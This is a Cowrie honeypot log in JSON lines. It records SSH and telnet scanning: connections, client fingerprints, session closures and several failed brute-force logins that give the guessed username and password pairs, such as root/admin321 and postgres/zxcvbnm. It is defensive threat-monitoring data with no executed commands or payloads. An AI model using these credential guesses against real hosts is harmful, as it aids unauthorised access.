{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:43.976288Z","src_ip":"213.209.159.142","session":"9bbbcc0ba72e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":48452,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c394367f99a","protocol":"ssh","message":"New connection: 177.85.247.230:48452 (10.17.0.5:22) [session: 5c394367f99a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:45.061063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:45.066276Z","src_ip":"177.85.247.230","session":"5c394367f99a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:45.174111Z","src_ip":"177.85.247.230","session":"5c394367f99a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42760,"dst_ip":"159.203.135.109","dst_port":22,"session":"e49b87e4e34b","protocol":"ssh","message":"New connection: 60.199.224.2:42760 (159.203.135.109:22) [session: e49b87e4e34b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:45.257856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:45.263169Z","src_ip":"60.199.224.2","session":"e49b87e4e34b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:45.464177Z","src_ip":"60.199.224.2","session":"e49b87e4e34b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin321","message":"login attempt [root/admin321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:45.614771Z","src_ip":"177.85.247.230","session":"5c394367f99a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin789","message":"login attempt [root/admin789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:46.292907Z","src_ip":"60.199.224.2","session":"e49b87e4e34b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:46.721664Z","src_ip":"177.85.247.230","session":"5c394367f99a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:47.496080Z","src_ip":"60.199.224.2","session":"e49b87e4e34b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.535725116729736,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:49.251789Z","src_ip":"165.232.131.181","session":"f1a18178aa27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:53.907059Z","src_ip":"213.209.159.142","session":"9bbbcc0ba72e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42382,"dst_ip":"10.17.0.5","dst_port":23,"session":"0686e6770f43","protocol":"telnet","message":"New connection: 38.54.119.93:42382 (10.17.0.5:23) [session: 0686e6770f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:58.895102Z"}
{"eventid":"cowrie.session.closed","duration":47.89008688926697,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:01.857274Z","src_ip":"38.54.119.93","session":"3dd76de390c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46908,"dst_ip":"10.17.0.5","dst_port":23,"session":"4766840fe196","protocol":"telnet","message":"New connection: 38.54.119.93:46908 (10.17.0.5:23) [session: 4766840fe196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:05.712515Z"}
{"eventid":"cowrie.session.closed","duration":51.26377320289612,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:09.071803Z","src_ip":"165.232.131.181","session":"b05f4fe64308","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":59152,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ab70f2d4cb8","protocol":"ssh","message":"New connection: 186.113.245.157:59152 (10.17.0.5:22) [session: 6ab70f2d4cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:19.726124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:19.731107Z","src_ip":"186.113.245.157","session":"6ab70f2d4cb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:19.831041Z","src_ip":"186.113.245.157","session":"6ab70f2d4cb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwe123","message":"login attempt [user/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:20.244266Z","src_ip":"186.113.245.157","session":"6ab70f2d4cb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:21.340423Z","src_ip":"186.113.245.157","session":"6ab70f2d4cb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":37288,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b6b1de7db9f","protocol":"ssh","message":"New connection: 152.32.162.42:37288 (10.17.0.5:22) [session: 8b6b1de7db9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:23.643347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:23.648559Z","src_ip":"152.32.162.42","session":"8b6b1de7db9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:23.905325Z","src_ip":"152.32.162.42","session":"8b6b1de7db9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd1234","message":"login attempt [ubuntu/P@ssw0rd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:24.967982Z","src_ip":"152.32.162.42","session":"8b6b1de7db9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:26.229596Z","src_ip":"152.32.162.42","session":"8b6b1de7db9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":45410,"dst_ip":"159.203.135.109","dst_port":22,"session":"947a278451a3","protocol":"ssh","message":"New connection: 191.101.59.69:45410 (159.203.135.109:22) [session: 947a278451a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:30.341203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:30.350698Z","src_ip":"191.101.59.69","session":"947a278451a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:30.433734Z","src_ip":"191.101.59.69","session":"947a278451a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"zxcvbnm","message":"login attempt [postgres/zxcvbnm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:30.807139Z","src_ip":"191.101.59.69","session":"947a278451a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:31.898679Z","src_ip":"191.101.59.69","session":"947a278451a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":62959,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dcc2fd85b5c","protocol":"ssh","message":"New connection: 115.68.208.117:62959 (10.17.0.5:22) [session: 3dcc2fd85b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:38.225670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:38.230579Z","src_ip":"115.68.208.117","session":"3dcc2fd85b5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:38.441018Z","src_ip":"115.68.208.117","session":"3dcc2fd85b5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu@2023","message":"login attempt [ubuntu/Ubuntu@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:39.291627Z","src_ip":"115.68.208.117","session":"3dcc2fd85b5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42776,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea66c560226a","protocol":"ssh","message":"New connection: 60.199.224.2:42776 (159.203.135.109:22) [session: ea66c560226a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:40.126482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:40.131230Z","src_ip":"60.199.224.2","session":"ea66c560226a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:40.336723Z","src_ip":"60.199.224.2","session":"ea66c560226a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:40.502001Z","src_ip":"115.68.208.117","session":"3dcc2fd85b5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123","message":"login attempt [myuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:41.176260Z","src_ip":"60.199.224.2","session":"ea66c560226a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":48156,"dst_ip":"159.203.135.109","dst_port":22,"session":"871f8300f7ef","protocol":"ssh","message":"New connection: 186.10.86.130:48156 (159.203.135.109:22) [session: 871f8300f7ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:41.626511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:41.630801Z","src_ip":"186.10.86.130","session":"871f8300f7ef","protocol":"ssh"}
